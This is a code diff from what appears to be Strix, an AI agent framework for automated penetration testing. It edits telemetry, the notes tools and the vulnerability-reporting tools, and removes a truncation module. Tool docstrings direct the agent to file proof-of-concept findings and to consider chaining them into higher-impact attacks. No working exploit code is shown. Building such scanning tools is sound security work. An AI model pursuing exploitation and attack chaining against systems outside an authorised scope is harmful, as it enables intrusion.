"scan_started",
|
||||
{
|
||||
**base_props(),
|
||||
"model": model or "unknown",
|
||||
"auth_mode": auth_mode or "api_key",
|
||||
"scan_mode": scan_mode or "unknown",
|
||||
"scan_type": "whitebox" if is_whitebox else "blackbox",
|
||||
"interactive": interactive,
|
||||
@@ -129,7 +133,6 @@ def end(report_state: "ReportState", exit_reason: str = "completed") -> None:
|
||||
"scan_ended",
|
||||
{
|
||||
**base_props(),
|
||||
"auth_mode": report_state.run_record.get("auth_mode") or "api_key",
|
||||
"exit_reason": report_state.scan_ended_exit_reason,
|
||||
"duration_seconds": round(duration),
|
||||
"vulnerabilities_total": len(report_state.vulnerability_reports),
|
||||
@@ -177,14 +180,6 @@ def viewer_email_event(step: str, purpose: str | None = None) -> None:
|
||||
)
|
||||
|
||||
|
||||
def viewer_feedback_submitted() -> None:
|
||||
_send("viewer_feedback_submitted", {**base_props()})
|
||||
|
||||
|
||||
def viewer_agent_steered() -> None:
|
||||
_send("viewer_agent_steered", {**base_props()})
|
||||
|
||||
|
||||
def error(error_type: str) -> None:
|
||||
props = {**base_props(), "error_type": error_type}
|
||||
_send("error", props)
|
||||
|
||||
@@ -2,11 +2,10 @@ from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
from datetime import datetime
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
import requests
|
||||
|
||||
from strix.config import load_settings
|
||||
from strix.telemetry._common import (
|
||||
SESSION_ID,
|
||||
@@ -43,7 +42,9 @@ def _send(event: str, properties: dict[str, Any]) -> bool:
|
||||
url = f"{_SCARF_ENDPOINT}{path}"
|
||||
if query:
|
||||
url = f"{url}?{query}"
|
||||
requests.post(url, timeout=10)
|
||||
req = urllib.request.Request(url, method="POST") # noqa: S310
|
||||
with urllib.request.urlopen(req, timeout=10): # noqa: S310 # nosec B310
|
||||
pass
|
||||
except Exception: # noqa: BLE001
|
||||
logger.debug("scarf send failed for event %s", event, exc_info=True)
|
||||
return False
|
||||
@@ -58,7 +59,6 @@ def start(
|
||||
is_whitebox: bool,
|
||||
interactive: bool,
|
||||
has_instructions: bool,
|
||||
auth_mode: str | None = None,
|
||||
) -> None:
|
||||
_send(
|
||||
"scan_started",
|
||||
@@ -66,7 +66,6 @@ def start(
|
||||
**base_props(),
|
||||
"session": SESSION_ID,
|
||||
"model": model or "unknown",
|
||||
"auth_mode": auth_mode or "api_key",
|
||||
"scan_mode": scan_mode or "unknown",
|
||||
"scan_type": "whitebox" if is_whitebox else "blackbox",
|
||||
"interactive": interactive,
|
||||
@@ -141,7 +140,6 @@ def end(report_state: ReportState, exit_reason: str = "completed") -> None:
|
||||
{
|
||||
**base_props(),
|
||||
"session": SESSION_ID,
|
||||
"auth_mode": report_state.run_record.get("auth_mode") or "api_key",
|
||||
"exit_reason": report_state.scan_ended_exit_reason,
|
||||
"duration_seconds": round(duration),
|
||||
"vulnerabilities_total": len(report_state.vulnerability_reports),
|
||||
|
||||
@@ -87,7 +87,7 @@ async def view_agent_graph(ctx: RunContextWrapper) -> str:
|
||||
default=str,
|
||||
)
|
||||
|
||||
parent_of, statuses, names, _ = await coordinator.graph_snapshot()
|
||||
parent_of, statuses, names = await coordinator.graph_snapshot()
|
||||
|
||||
lines: list[str] = []
|
||||
|
||||
@@ -635,7 +635,7 @@ async def stop_agent(
|
||||
ensure_ascii=False,
|
||||
default=str,
|
||||
)
|
||||
_, statuses, _, _ = await coordinator.graph_snapshot()
|
||||
_, statuses, _ = await coordinator.graph_snapshot()
|
||||
if target_agent_id not in statuses:
|
||||
return json.dumps(
|
||||
{"success": False, "error": f"Unknown agent_id: {target_agent_id}"},
|
||||
|
||||
@@ -116,16 +116,12 @@ async def finish_scan(
|
||||
/ ``crashed`` / ``stopped`` agents are safe to leave behind.
|
||||
Calling ``finish_scan`` while children are alive orphans their
|
||||
work and produces an incomplete report.
|
||||
2. It's a good idea to call ``list_reports`` before finishing to
|
||||
review every finding filed in this scan (use ``get_report`` for
|
||||
full detail on any of them) so your ``executive_summary`` /
|
||||
``technical_analysis`` are grounded in what was actually reported
|
||||
— don't invent or omit findings. All vulnerabilities you found are
|
||||
filed via ``create_vulnerability_report`` — or, for known-CVE
|
||||
dependency findings, ``create_dependency_report`` (un-reported
|
||||
findings are not tracked and not credited). A dependency CVE
|
||||
already filed via ``create_dependency_report`` counts as reported;
|
||||
it does NOT need re-filing here and does NOT block finishing.
|
||||
2. All vulnerabilities you found are filed via
|
||||
``create_vulnerability_report`` — or, for known-CVE dependency
|
||||
findings, ``create_dependency_report`` (un-reported findings are
|
||||
not tracked and not credited). A dependency CVE already filed via
|
||||
``create_dependency_report`` counts as reported; it does NOT need
|
||||
re-filing here and does NOT block finishing.
|
||||
3. Don't double-report — one report per distinct vulnerability.
|
||||
4. **Attack-chaining gate.** Do NOT finish until you have genuinely
|
||||
considered chaining the confirmed findings into higher-impact,
|
||||
@@ -253,8 +249,6 @@ async def finish_scan(
|
||||
parent_id = inner.get("parent_id")
|
||||
if coordinator is not None and parent_id is None and me is not None:
|
||||
active_agents = await coordinator.active_agents_except(me)
|
||||
if active_agents and coordinator.reserve_stopped:
|
||||
active_agents = []
|
||||
else:
|
||||
active_agents = []
|
||||
|
||||
|
||||
@@ -27,21 +27,6 @@ _NOTE_ID_GENERATION_ATTEMPTS = 1024
|
||||
_notes_path: Path | None = None
|
||||
|
||||
|
||||
def _caller_identity(ctx: RunContextWrapper) -> tuple[str | None, str | None]:
|
||||
"""Return the (agent_id, agent_name) of the agent invoking this tool."""
|
||||
inner = ctx.context if isinstance(ctx.context, dict) else {}
|
||||
raw_agent_id = inner.get("agent_id")
|
||||
agent_id = raw_agent_id if isinstance(raw_agent_id, str) else None
|
||||
agent_name: str | None = None
|
||||
coordinator = inner.get("coordinator")
|
||||
if agent_id is not None and coordinator is not None:
|
||||
names = getattr(coordinator, "names", {})
|
||||
if isinstance(names, dict):
|
||||
raw_agent_name = names.get(agent_id)
|
||||
agent_name = raw_agent_name if isinstance(raw_agent_name, str) else None
|
||||
return agent_id, agent_name
|
||||
|
||||
|
||||
def _generate_note_id() -> str | None:
|
||||
for _ in range(_NOTE_ID_GENERATION_ATTEMPTS):
|
||||
note_id = uuid.uuid4().hex[:6]
|
||||
@@ -132,26 +117,10 @@ def _filter_notes(
|
||||
return filtered
|
||||
|
||||
|
||||
def _mark_authorship(
|
||||
entry: dict[str, Any], note: dict[str, Any], caller_agent_id: str | None
|
||||
) -> dict[str, Any]:
|
||||
"""Attach the note's author and flag whether the caller wrote it."""
|
||||
agent_name = note.get("agent_name")
|
||||
if agent_name:
|
||||
entry["agent_name"] = agent_name
|
||||
agent_id = note.get("agent_id")
|
||||
if agent_id:
|
||||
entry["agent_id"] = agent_id
|
||||
if caller_agent_id is not None and agent_id == caller_agent_id:
|
||||
entry["by_you"] = True
|
||||
return entry
|
||||
|
||||
|
||||
def _to_note_listing_entry(
|
||||
note: dict[str, Any],
|
||||
*,
|
||||
include_content: bool = False,
|
||||
caller_agent_id: str | None = None,
|
||||
) -> dict[str, Any]:
|
||||
entry = {
|
||||
"note_id": note.get("note_id"),
|
||||
@@ -169,7 +138,7 @@ def _to_note_listing_entry(
|
||||
entry["content_preview"] = f"{content[:_DEFAULT_CONTENT_PREVIEW_CHARS].rstrip()}..."
|
||||
else:
|
||||
entry["content_preview"] = content
|
||||
return _mark_authorship(entry, note, caller_agent_id)
|
||||
return entry
|
||||
|
||||
|
||||
def _create_note_impl(
|
||||
@@ -177,8 +146,6 @@ def _create_note_impl(
|
||||
content: str,
|
||||
category: str = "general",
|
||||
tags: list[str] | None = None,
|
||||
agent_id: str | None = None,
|
||||
agent_name: str | None = None,
|
||||
) -> dict[str, Any]:
|
||||
with _notes_lock:
|
||||
try:
|
||||
@@ -212,10 +179,6 @@ def _create_note_impl(
|
||||
"created_at": timestamp,
|
||||
"updated_at": timestamp,
|
||||
}
|
||||
if agent_id:
|
||||
note["agent_id"] = agent_id
|
||||
if agent_name:
|
||||
note["agent_name"] = agent_name
|
||||
_notes_storage[note_id] = note
|
||||
except (ValueError, TypeError) as e:
|
||||
return {"success": False, "error": f"Failed to create note: {e}", "note_id": None}
|
||||
@@ -234,17 +197,11 @@ def _list_notes_impl(
|
||||
tags: list[str] | None = None,
|
||||
search: str | None = None,
|
||||
include_content: bool = False,
|
||||
caller_agent_id: str | None = None,
|
||||
) -> dict[str, Any]:
|
||||
with _notes_lock:
|
||||
try:
|
||||
filtered = _filter_notes(category=category, tags=tags, search_query=search)
|
||||
notes = [
|
||||
_to_note_listing_entry(
|
||||
n, include_content=include_content, caller_agent_id=caller_agent_id
|
||||
)
|
||||
for n in filtered
|
||||
]
|
||||
notes = [_to_note_listing_entry(n, include_content=include_content) for n in filtered]
|
||||
except (ValueError, TypeError) as e:
|
||||
return {
|
||||
"success": False,
|
||||
@@ -261,7 +218,7 @@ def _list_notes_impl(
|
||||
}
|
||||
|
||||
|
||||
def _get_note_impl(note_id: str, caller_agent_id: str | None = None) -> dict[str, Any]:
|
||||
def _get_note_impl(note_id: str) -> dict[str, Any]:
|
||||
with _notes_lock:
|
||||
try:
|
||||
if not note_id or not note_id.strip():
|
||||
@@ -275,7 +232,6 @@ def _get_note_impl(note_id: str, caller_agent_id: str | None = None) -> dict[str
|
||||
}
|
||||
note_with_id = note.copy()
|
||||
note_with_id["note_id"] = note_id
|
||||
_mark_authorship(note_with_id, note, caller_agent_id)
|
||||
except (ValueError, TypeError) as e:
|
||||
return {"success": False, "error": f"Failed to get note: {e}", "note": None}
|
||||
else:
|
||||
@@ -348,9 +304,7 @@ async def create_note(
|
||||
|
||||
Notes are visible to every agent in the same scan for the lifetime
|
||||
of the run; they live in-memory only and are cleared when the
|
||||
process exits. Each note records the agent that wrote it, so
|
||||
``list_notes`` / ``get_note`` show the author (``agent_name``) and
|
||||
flag your own notes with ``by_you``.
|
||||
process exits.
|
||||
|
||||
For actionable tasks, use ``todo`` instead — notes are for capturing
|
||||
information, todos are for tracking work.
|
||||
@@ -375,11 +329,8 @@ async def create_note(
|
||||
category: One of the categories above. Default ``"general"``.
|
||||
tags: Optional free-form tags.
|
||||
"""
|
||||
agent_id, agent_name = _caller_identity(ctx)
|
||||
return json.dumps(
|
||||
await asyncio.to_thread(
|
||||
_create_note_impl, title, content, category, tags, agent_id, agent_name
|
||||
),
|
||||
await asyncio.to_thread(_create_note_impl, title, content, category, tags),
|
||||
ensure_ascii=False,
|
||||
default=str,
|
||||
)
|
||||
@@ -404,9 +355,6 @@ async def list_notes(
|
||||
when you need to scan many notes; expensive in tokens for large
|
||||
notes.
|
||||
|
||||
Each entry also carries the author (``agent_name``) and, for notes
|
||||
you wrote yourself, ``by_you: true``.
|
||||
|
||||
Args:
|
||||
category: Filter by category.
|
||||
tags: Filter to notes that have any of these tags.
|
||||
@@ -414,7 +362,6 @@ async def list_notes(
|
||||
include_content: When False (default) entries have a preview;
|
||||
when True the full ``content`` is included.
|
||||
"""
|
||||
caller_agent_id, _ = _caller_identity(ctx)
|
||||
return json.dumps(
|
||||
await asyncio.to_thread(
|
||||
_list_notes_impl,
|
||||
@@ -422,7 +369,6 @@ async def list_notes(
|
||||
tags=tags,
|
||||
search=search,
|
||||
include_content=include_content,
|
||||
caller_agent_id=caller_agent_id,
|
||||
),
|
||||
ensure_ascii=False,
|
||||
default=str,
|
||||
@@ -436,11 +382,8 @@ async def get_note(ctx: RunContextWrapper, note_id: str) -> str:
|
||||
Args:
|
||||
note_id: Note id from ``create_note`` or a ``list_notes`` entry.
|
||||
"""
|
||||
caller_agent_id, _ = _caller_identity(ctx)
|
||||
return json.dumps(
|
||||
await asyncio.to_thread(_get_note_impl, note_id, caller_agent_id),
|
||||
ensure_ascii=False,
|
||||
default=str,
|
||||
await asyncio.to_thread(_get_note_impl, note_id), ensure_ascii=False, default=str
|
||||
)
|
||||
|
||||
|
||||
|
||||
@@ -1,166 +0,0 @@
|
||||
"""Bound oversized tool results before they enter agent history.
|
||||
|
||||
Oversized results are spilled into the sandbox at
|
||||
``/workspace/.strix/tool-output/<id>.txt``; the agent sees a head + tail slice
|
||||
plus the path and reads the rest back with its own file tools. The spill writer
|
||||
is injected by the runner via :func:`configure_spill_writer`.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import uuid
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import Awaitable, Callable
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_TRUNCATION_NOTICE = "[... {lines} lines ({bytes} bytes) truncated ...]"
|
||||
_WORKSPACE_SPILL_NOTICE = (
|
||||
"[... {lines} lines ({bytes} bytes) truncated — full output saved to {path} "
|
||||
"in the sandbox; read it with exec_command (e.g. `sed -n`, `grep`, `cat`) ...]"
|
||||
)
|
||||
|
||||
WORKSPACE_SPILL_DIR = "/workspace/.strix/tool-output"
|
||||
|
||||
# Longest possible workspace path, used only to reserve notice bytes.
|
||||
_SAMPLE_WORKSPACE_PATH = f"{WORKSPACE_SPILL_DIR}/{'0' * 32}.txt"
|
||||
|
||||
if TYPE_CHECKING:
|
||||
SpillWriter = Callable[[str, str], Awaitable[str | None]]
|
||||
|
||||
_spill: dict[str, SpillWriter] = {}
|
||||
|
||||
|
||||
def configure_spill_writer(writer: SpillWriter | None) -> None:
|
||||
"""Install (or clear) the sandbox-workspace spill writer."""
|
||||
if writer is None:
|
||||
_spill.pop("writer", None)
|
||||
else:
|
||||
_spill["writer"] = writer
|
||||
|
||||
|
||||
def _byte_len(text: str) -> int:
|
||||
return len(text.encode("utf-8"))
|
||||
|
||||
|
||||
def _take_prefix(text: str, max_bytes: int) -> str:
|
||||
budget = 0
|
||||
out: list[str] = []
|
||||
for char in text:
|
||||
size = len(char.encode("utf-8"))
|
||||
if budget + size > max_bytes:
|
||||
break
|
||||
out.append(char)
|
||||
budget += size
|
||||
return "".join(out)
|
||||
|
||||
|
||||
def _take_suffix(text: str, max_bytes: int) -> str:
|
||||
budget = 0
|
||||
out: list[str] = []
|
||||
for char in reversed(text):
|
||||
size = len(char.encode("utf-8"))
|
||||
if budget + size > max_bytes:
|
||||
break
|
||||
out.append(char)
|
||||
budget += size
|
||||
out.reverse()
|
||||
return "".join(out)
|
||||
|
||||
|
||||
def _head_tail(
|
||||
text: str,
|
||||
max_lines: int,
|
||||
max_bytes: int,
|
||||
*,
|
||||
notice_templates: tuple[str, ...] = (_TRUNCATION_NOTICE,),
|
||||
) -> tuple[str, str, int, int] | None:
|
||||
"""Head/tail slices plus dropped line/byte counts, or ``None`` if small.
|
||||
|
||||
``max_bytes`` bounds the entire joined result; the largest of
|
||||
``notice_templates`` (plus separators) is reserved before slicing.
|
||||
"""
|
||||
lines = text.split("\n")
|
||||
total_bytes = _byte_len(text)
|
||||
if len(lines) <= max_lines and total_bytes <= max_bytes:
|
||||
return None
|
||||
|
||||
# Reserve using the largest counts/path; ``+ 4`` covers the two "\n\n".
|
||||
notice_overhead = (
|
||||
max(
|
||||
_byte_len(
|
||||
template.format(
|
||||
lines=len(lines),
|
||||
bytes=total_bytes,
|
||||
path=_SAMPLE_WORKSPACE_PATH,
|
||||
)
|
||||
)
|
||||
for template in notice_templates
|
||||
)
|
||||
+ 4
|
||||
)
|
||||
byte_budget = max(2, max_bytes - notice_overhead)
|
||||
|
||||
head_lines = max(1, max_lines // 2)
|
||||
tail_lines = max_lines - head_lines
|
||||
head = "\n".join(lines[:head_lines])
|
||||
tail = "\n".join(lines[len(lines) - tail_lines :]) if tail_lines > 0 else ""
|
||||
|
||||
half_bytes = max(1, byte_budget // 2)
|
||||
if _byte_len(head) > half_bytes:
|
||||
head = _take_prefix(head, half_bytes)
|
||||
if tail and _byte_len(tail) > half_bytes:
|
||||
tail = _take_suffix(tail, half_bytes)
|
||||
|
||||
# Count from the final slices; the byte pass may have dropped whole lines.
|
||||
kept_lines = len(head.split("\n")) + (len(tail.split("\n")) if tail else 0)
|
||||
dropped_lines = max(0, len(lines) - kept_lines)
|
||||
dropped_bytes = max(0, total_bytes - _byte_len(head) - _byte_len(tail))
|
||||
return head, tail, dropped_lines, dropped_bytes
|
||||
|
||||
|
||||
def _join(head: str, tail: str, notice: str) -> str:
|
||||
return f"{head}\n\n{notice}\n\n{tail}" if tail else f"{head}\n\n{notice}"
|
||||
|
||||
|
||||
def bound_text(text: str, *, max_lines: int, max_bytes: int) -> str:
|
||||
"""Return ``text`` unchanged when small, else a head+tail preview.
|
||||
|
||||
Nothing is persisted; use :func:`bound_and_store` to keep the full output.
|
||||
"""
|
||||
parts = _head_tail(text, max_lines, max_bytes)
|
||||
if parts is None:
|
||||
return text
|
||||
head, tail, dropped_lines, dropped_bytes = parts
|
||||
return _join(head, tail, _TRUNCATION_NOTICE.format(lines=dropped_lines, bytes=dropped_bytes))
|
||||
|
||||
|
||||
async def bound_and_store(text: str, *, max_lines: int, max_bytes: int) -> str:
|
||||
"""Like :func:`bound_text`, but spill the full output into the sandbox and
|
||||
point the agent at its path. Degrades to a plain preview if the spill fails.
|
||||
"""
|
||||
parts = _head_tail(
|
||||
text,
|
||||
max_lines,
|
||||
max_bytes,
|
||||
notice_templates=(_WORKSPACE_SPILL_NOTICE, _TRUNCATION_NOTICE),
|
||||
)
|
||||
if parts is None:
|
||||
return text
|
||||
head, tail, dropped_lines, dropped_bytes = parts
|
||||
|
||||
writer = _spill.get("writer")
|
||||
if writer is not None:
|
||||
path = await writer(uuid.uuid4().hex, text)
|
||||
if path is not None:
|
||||
notice = _WORKSPACE_SPILL_NOTICE.format(
|
||||
lines=dropped_lines, bytes=dropped_bytes, path=path
|
||||
)
|
||||
return _join(head, tail, notice)
|
||||
|
||||
return _join(head, tail, _TRUNCATION_NOTICE.format(lines=dropped_lines, bytes=dropped_bytes))
|
||||
+21
-309
@@ -1,13 +1,7 @@
|
||||
"""Reporting tools — file vuln findings (with dedup + CVSS) and read them back.
|
||||
|
||||
``create_vulnerability_report`` / ``create_dependency_report`` file findings;
|
||||
``list_reports`` / ``get_report`` let any agent (notably the root orchestrator)
|
||||
review what's been filed so far across the whole scan.
|
||||
"""
|
||||
"""``create_vulnerability_report`` — file a vuln finding with dedup + CVSS."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
@@ -324,21 +318,6 @@ async def _do_create( # noqa: PLR0912
|
||||
}
|
||||
|
||||
|
||||
def _caller_identity(ctx: RunContextWrapper) -> tuple[str | None, str | None]:
|
||||
"""Return the (agent_id, agent_name) of the agent invoking this tool."""
|
||||
inner = ctx.context if isinstance(ctx.context, dict) else {}
|
||||
raw_agent_id = inner.get("agent_id")
|
||||
agent_id = raw_agent_id if isinstance(raw_agent_id, str) else None
|
||||
agent_name: str | None = None
|
||||
coordinator = inner.get("coordinator")
|
||||
if agent_id is not None and coordinator is not None:
|
||||
names = getattr(coordinator, "names", {})
|
||||
if isinstance(names, dict):
|
||||
raw_agent_name = names.get(agent_id)
|
||||
agent_name = raw_agent_name if isinstance(raw_agent_name, str) else None
|
||||
return agent_id, agent_name
|
||||
|
||||
|
||||
@function_tool(timeout=180, strict_mode=False)
|
||||
async def create_vulnerability_report(
|
||||
ctx: RunContextWrapper,
|
||||
@@ -625,7 +604,16 @@ async def create_vulnerability_report(
|
||||
template engine's auto-escaping over string interpolation.
|
||||
fix_effort: "low"
|
||||
"""
|
||||
agent_id, agent_name = _caller_identity(ctx)
|
||||
inner = ctx.context if isinstance(ctx.context, dict) else {}
|
||||
raw_agent_id = inner.get("agent_id")
|
||||
agent_id = raw_agent_id if isinstance(raw_agent_id, str) else None
|
||||
agent_name = None
|
||||
coordinator = inner.get("coordinator")
|
||||
if agent_id is not None and coordinator is not None:
|
||||
names = getattr(coordinator, "names", {})
|
||||
if isinstance(names, dict):
|
||||
raw_agent_name = names.get(agent_id)
|
||||
agent_name = raw_agent_name if isinstance(raw_agent_name, str) else None
|
||||
|
||||
result = await _do_create(
|
||||
title=title,
|
||||
@@ -930,7 +918,16 @@ async def create_dependency_report(
|
||||
fix_effort: One of ``trivial`` / ``low`` / ``medium`` / ``high``
|
||||
(dependency upgrades are usually ``trivial``/``low``).
|
||||
"""
|
||||
agent_id, agent_name = _caller_identity(ctx)
|
||||
inner = ctx.context if isinstance(ctx.context, dict) else {}
|
||||
raw_agent_id = inner.get("agent_id")
|
||||
agent_id = raw_agent_id if isinstance(raw_agent_id, str) else None
|
||||
agent_name = None
|
||||
coordinator = inner.get("coordinator")
|
||||
if agent_id is not None and coordinator is not None:
|
||||
names = getattr(coordinator, "names", {})
|
||||
if isinstance(names, dict):
|
||||
raw_agent_name = names.get(agent_id)
|
||||
agent_name = raw_agent_name if isinstance(raw_agent_name, str) else None
|
||||
|
||||
result = await _do_create_dependency(
|
||||
title=title,
|
||||
@@ -952,288 +949,3 @@ async def create_dependency_report(
|
||||
agent_name=agent_name,
|
||||
)
|
||||
return json.dumps(result, ensure_ascii=False, default=str)
|
||||
|
||||
|
||||
_SEVERITY_ORDER = {
|
||||
"critical": 0,
|
||||
"high": 1,
|
||||
"medium": 2,
|
||||
"low": 3,
|
||||
"info": 4,
|
||||
"none": 5,
|
||||
}
|
||||
_VALID_SEVERITIES = frozenset(_SEVERITY_ORDER)
|
||||
_VALID_FINDING_CLASSES = frozenset({"dynamic", "dependency_cve"})
|
||||
_REPORT_DESCRIPTION_PREVIEW_CHARS = 280
|
||||
|
||||
# Compact, listing-safe fields — no full bodies / PoC code / evidence.
|
||||
_REPORT_SUMMARY_FIELDS = (
|
||||
"id",
|
||||
"title",
|
||||
"severity",
|
||||
"cvss",
|
||||
"finding_class",
|
||||
"cve",
|
||||
"cwe",
|
||||
"target",
|
||||
"endpoint",
|
||||
"method",
|
||||
"fix_effort",
|
||||
"agent_name",
|
||||
"timestamp",
|
||||
)
|
||||
|
||||
|
||||
def _report_severity_rank(report: dict[str, Any]) -> int:
|
||||
return _SEVERITY_ORDER.get(str(report.get("severity", "")).lower(), 99)
|
||||
|
||||
|
||||
def _report_matches_filters(
|
||||
report: dict[str, Any],
|
||||
*,
|
||||
severity: str | None,
|
||||
finding_class: str | None,
|
||||
target: str | None,
|
||||
search: str | None,
|
||||
) -> bool:
|
||||
if severity and str(report.get("severity", "")).lower() != severity:
|
||||
return False
|
||||
if finding_class and str(report.get("finding_class", "dynamic")).lower() != finding_class:
|
||||
return False
|
||||
if target:
|
||||
target_lower = target.lower()
|
||||
haystack = f"{report.get('target', '')} {report.get('endpoint', '')}".lower()
|
||||
if target_lower not in haystack:
|
||||
return False
|
||||
if search:
|
||||
search_lower = search.lower()
|
||||
title_match = search_lower in str(report.get("title", "")).lower()
|
||||
desc_match = search_lower in str(report.get("description", "")).lower()
|
||||
if not (title_match or desc_match):
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def _mark_authorship(
|
||||
entry: dict[str, Any], report: dict[str, Any], caller_agent_id: str | None
|
||||
) -> dict[str, Any]:
|
||||
"""Flag whether ``report`` was filed by the agent making this call."""
|
||||
if caller_agent_id is not None and report.get("agent_id") == caller_agent_id:
|
||||
entry["by_you"] = True
|
||||
return entry
|
||||
|
||||
|
||||
def _to_report_summary_entry(
|
||||
report: dict[str, Any], caller_agent_id: str | None = None
|
||||
) -> dict[str, Any]:
|
||||
entry = {
|
||||
field: report[field] for field in _REPORT_SUMMARY_FIELDS if report.get(field) is not None
|
||||
}
|
||||
description = str(report.get("description", "")).strip()
|
||||
if description:
|
||||
if len(description) > _REPORT_DESCRIPTION_PREVIEW_CHARS:
|
||||
entry["description_preview"] = (
|
||||
f"{description[:_REPORT_DESCRIPTION_PREVIEW_CHARS].rstrip()}..."
|
||||
)
|
||||
else:
|
||||
entry["description_preview"] = description
|
||||
return _mark_authorship(entry, report, caller_agent_id)
|
||||
|
||||
|
||||
def _severity_counts(reports: list[dict[str, Any]]) -> dict[str, int]:
|
||||
counts: dict[str, int] = {}
|
||||
for report in reports:
|
||||
sev = str(report.get("severity", "")).lower() or "none"
|
||||
counts[sev] = counts.get(sev, 0) + 1
|
||||
return {sev: counts[sev] for sev in _SEVERITY_ORDER if sev in counts}
|
||||
|
||||
|
||||
async def _run_report_reader(fn: Any, *args: Any, **kwargs: Any) -> dict[str, Any]:
|
||||
try:
|
||||
return await asyncio.to_thread(fn, *args, **kwargs)
|
||||
except (ImportError, AttributeError) as e:
|
||||
logger.exception("report reader failed")
|
||||
return {"success": False, "error": f"Failed to read reports: {e!s}"}
|
||||
|
||||
|
||||
def _do_list_reports(
|
||||
*,
|
||||
severity: str | None,
|
||||
finding_class: str | None,
|
||||
target: str | None,
|
||||
search: str | None,
|
||||
include_details: bool,
|
||||
caller_agent_id: str | None = None,
|
||||
) -> dict[str, Any]:
|
||||
errors: list[str] = []
|
||||
severity = (severity or "").strip().lower() or None
|
||||
if severity and severity not in _VALID_SEVERITIES:
|
||||
errors.append(
|
||||
f"Invalid severity: {severity!r}. Must be one of: {sorted(_VALID_SEVERITIES)}"
|
||||
)
|
||||
finding_class = (finding_class or "").strip().lower() or None
|
||||
if finding_class and finding_class not in _VALID_FINDING_CLASSES:
|
||||
errors.append(
|
||||
f"Invalid finding_class: {finding_class!r}. "
|
||||
f"Must be one of: {sorted(_VALID_FINDING_CLASSES)}"
|
||||
)
|
||||
if errors:
|
||||
return {"success": False, "error": "Validation failed", "errors": errors}
|
||||
|
||||
from strix.report.state import get_global_report_state
|
||||
|
||||
report_state = get_global_report_state()
|
||||
if report_state is None:
|
||||
return {
|
||||
"success": True,
|
||||
"reports": [],
|
||||
"filtered_count": 0,
|
||||
"total_count": 0,
|
||||
"severity_counts": {},
|
||||
"warning": "Report state unavailable - no reports have been filed yet",
|
||||
}
|
||||
|
||||
all_reports = report_state.get_existing_vulnerabilities()
|
||||
matched = [
|
||||
r
|
||||
for r in all_reports
|
||||
if _report_matches_filters(
|
||||
r,
|
||||
severity=severity,
|
||||
finding_class=finding_class,
|
||||
target=(target or "").strip() or None,
|
||||
search=(search or "").strip() or None,
|
||||
)
|
||||
]
|
||||
matched.sort(key=lambda r: (_report_severity_rank(r), str(r.get("id", ""))))
|
||||
|
||||
reports = [
|
||||
_mark_authorship(dict(r), r, caller_agent_id)
|
||||
if include_details
|
||||
else _to_report_summary_entry(r, caller_agent_id)
|
||||
for r in matched
|
||||
]
|
||||
return {
|
||||
"success": True,
|
||||
"reports": reports,
|
||||
"filtered_count": len(reports),
|
||||
"total_count": len(all_reports),
|
||||
"severity_counts": _severity_counts(all_reports),
|
||||
}
|
||||
|
||||
|
||||
def _do_get_report(report_id: str, caller_agent_id: str | None = None) -> dict[str, Any]:
|
||||
report_id = (report_id or "").strip()
|
||||
if not report_id:
|
||||
return {"success": False, "error": "report_id cannot be empty", "report": None}
|
||||
|
||||
from strix.report.state import get_global_report_state
|
||||
|
||||
report_state = get_global_report_state()
|
||||
if report_state is None:
|
||||
return {
|
||||
"success": False,
|
||||
"error": "Report state unavailable - no reports have been filed yet",
|
||||
"report": None,
|
||||
}
|
||||
|
||||
for report in report_state.get_existing_vulnerabilities():
|
||||
if report.get("id") == report_id:
|
||||
return {
|
||||
"success": True,
|
||||
"report": _mark_authorship(dict(report), report, caller_agent_id),
|
||||
}
|
||||
return {
|
||||
"success": False,
|
||||
"error": f"Report with id '{report_id}' not found",
|
||||
"report": None,
|
||||
}
|
||||
|
||||
|
||||
@function_tool(timeout=30)
|
||||
async def list_reports(
|
||||
ctx: RunContextWrapper,
|
||||
severity: str | None = None,
|
||||
finding_class: str | None = None,
|
||||
target: str | None = None,
|
||||
search: str | None = None,
|
||||
include_details: bool = False,
|
||||
) -> str:
|
||||
"""List vulnerability reports filed so far in this scan — metadata-first.
|
||||
|
||||
**For the orchestrator / root agent.** This is an orchestration tool
|
||||
for tracking scan-wide coverage and assembling the final report — leaf
|
||||
/ specialist agents do their own testing and file findings; they should
|
||||
NOT call this. If you are a subagent, ignore it and focus on your task.
|
||||
|
||||
Reports are shared across **every** agent in the scan, so this returns
|
||||
findings filed by any agent (root or child), not just your own. As the
|
||||
root agent, use it to track progress, avoid dispatching work on
|
||||
already-covered ground, reason about attack-chaining across confirmed
|
||||
findings, and build the ``finish_scan`` executive summary.
|
||||
|
||||
By default each entry is compact: ``id``, ``title``, ``severity``,
|
||||
``cvss``, ``finding_class``, ``cve`` / ``cwe``, ``target`` /
|
||||
``endpoint``, ``fix_effort``, ``agent_name`` (who filed it), ``timestamp``,
|
||||
plus a 280-char ``description_preview``. Entries you filed yourself are
|
||||
flagged ``by_you: true``. The response also carries
|
||||
``total_count`` and ``severity_counts`` (counts per severity across all
|
||||
reports, ignoring filters). Set ``include_details=True`` for full report
|
||||
bodies (PoC, evidence, remediation, code_locations) — token-expensive;
|
||||
prefer ``get_report`` to drill into a single finding.
|
||||
|
||||
Filters compose (all must match): ``severity`` and ``finding_class``
|
||||
match exactly, ``target`` is a substring match against target/endpoint,
|
||||
and ``search`` is a substring match against title/description. Results
|
||||
are ordered by severity (critical -> info), then report id.
|
||||
|
||||
This is read-only — it never files or dedupes anything.
|
||||
|
||||
Args:
|
||||
severity: Filter to one of ``critical`` / ``high`` / ``medium`` /
|
||||
``low`` / ``info`` / ``none``.
|
||||
finding_class: Filter to ``dynamic`` (PoC-backed) or
|
||||
``dependency_cve`` (known-CVE supply-chain).
|
||||
target: Substring match against a report's target / endpoint.
|
||||
search: Substring match against title and description.
|
||||
include_details: When False (default) entries are compact; when
|
||||
True full report bodies are returned.
|
||||
"""
|
||||
caller_agent_id, _ = _caller_identity(ctx)
|
||||
return json.dumps(
|
||||
